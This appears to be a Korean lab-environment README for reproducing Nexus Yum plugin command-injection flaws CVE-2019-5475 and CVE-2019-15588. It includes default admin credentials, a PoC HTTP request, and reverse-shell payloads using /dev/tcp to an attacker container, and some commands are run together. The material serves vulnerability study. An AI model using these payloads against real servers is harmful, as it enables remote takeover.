exp-docs/cve-2019-5475CVE-2019-5475 실습 환경: RCE 명령 주입 취약점
CVE-2019-5475 및 CVE-2019-15588 실습 환경: RCE 명령 주입 취약점
CVE-2019-5475는 Nexus 내장 플러그인 Yum Repository의 RCE 명령 주입 취약점으로, hackerone에서 처음 공개되었습니다. 하지만 공식 첫 번째 수정이 불완전하여 CVE-2019-15588 취약점이 파생되었습니다.
이 두 취약점은 모두 admin으로 로그인한 후에만 악용할 수 있습니다. 그러나 Nexus 기본 관리자 비밀번호 admin123은 종종 수정되지 않아 쉽게 악용될 수 있습니다.
CVE-2019-5475
├── nexus-yum-core .......... [用于 debug 的 Maven 项目：模拟在 nexus GUI 输入 createrepo 或 mergerepo]
├── nexus ................... [Nexus 容器的数据挂载目录]
├── attacker ................ [攻击者机器的构建目录]
│ └── Dockerfile .......... [攻击者机器的 Docker 构建文件]
├── docker-compose.yml ...... [Docker 的构建配置]
├── imgs .................... [辅助 README 说明的图片]
└── README.md ............... [此 README 说明]
cd CVE-2019-5475docker-compose up -dadmin/admin123). 내용은 다음과 같습니다:| Nexus | CVE | URL |
|---|---|---|
| 2.14.9 | CVE-2019-5475 | http://127.0.0.1:8009/nexus |
| 2.14.14 | CVE-2019-15588 | http://127.0.0.1:8014/nexus |
이 실습 환경에는 공격자 머신 172.168.50.2도 구축되어 있으며, 두 대의 대상 머신과 동일한 네트워크 환경에 있습니다. 그 역할은 리버스 셸을 검증하는 것입니다.
admin으로 http://127.0.0.1:8009/nexus/#capabilities에 로그인하고, Administration -> Capabilities -> Yum: Configuration -> Settings에서 RCE 주입 지점을 찾을 수 있습니다.
입력 필드 Path of "createrepo"와 Path of "mergerepo" 모두 주입이 가능하며, 실행 결과는 Status에서 확인할 수 있습니다.
예를 들어 createrepo 주입 지점에 PoC bash -c id || python을 구성하면 Status에서 명령 bash -c id의 실행 결과 uid=200(nexus) gid=200(nexus) groups=200(nexus)를 얻을 수 있습니다.
BurpSuite를 통해 해당 PoC 요청을 가로챌 수 있습니다:
PUT /nexus/service/siesta/capabilities/RANDOM_ID HTTP/1.1
Host: 127.0.0.1:8009
accept: application/json
Content-Type: application/json
Authorization: Basic YWRtaW46YWRtaW4xMjM=
Connection: close
{"typeId":"yum","enabled":true,"properties":[{"key":"createrepoPath","value":"bash -c id || python"}],"id":"RANDOM_ID"}
이 주입 지점은 리버스 셸을 구성하는 데 쉽게 악용될 수 있습니다:
docker exec -it -u root docker_attacker /bin/bashnc -lvvp 4444createrepo 주입 지점에 payload 구성: bash -c $@|bash 0 echo bash -i >&/dev/tcp/172.168.50.2/4444 0>&1 || python
주입 위치는 CVE-2019-5475와 동일하며, PoC를 /bin/bash -c id || /createrepo로 조정합니다.
이 취약점도 동일한 방법으로 리버스 셸을 구성할 수 있습니다:
docker exec -it -u root docker_attacker /bin/bashnc -lvvp 4444createrepo 주입 지점에 payload 구성: /bin/bash -c $@|bash 0 echo bash -i >&/dev/tcp/172.168.50.2/4444 0>&1 || /createrepo
nexus-yum-core는 nexus에서 이 취약점 악용과 관련된 핵심 코드 조각입니다. 주로 백엔드에서 직접 입력된 payload를 디버그 및 분석하는 데 사용되며, 전체 Nexus 서비스를 소스 코드에서 구축할 필요가 없습니다.
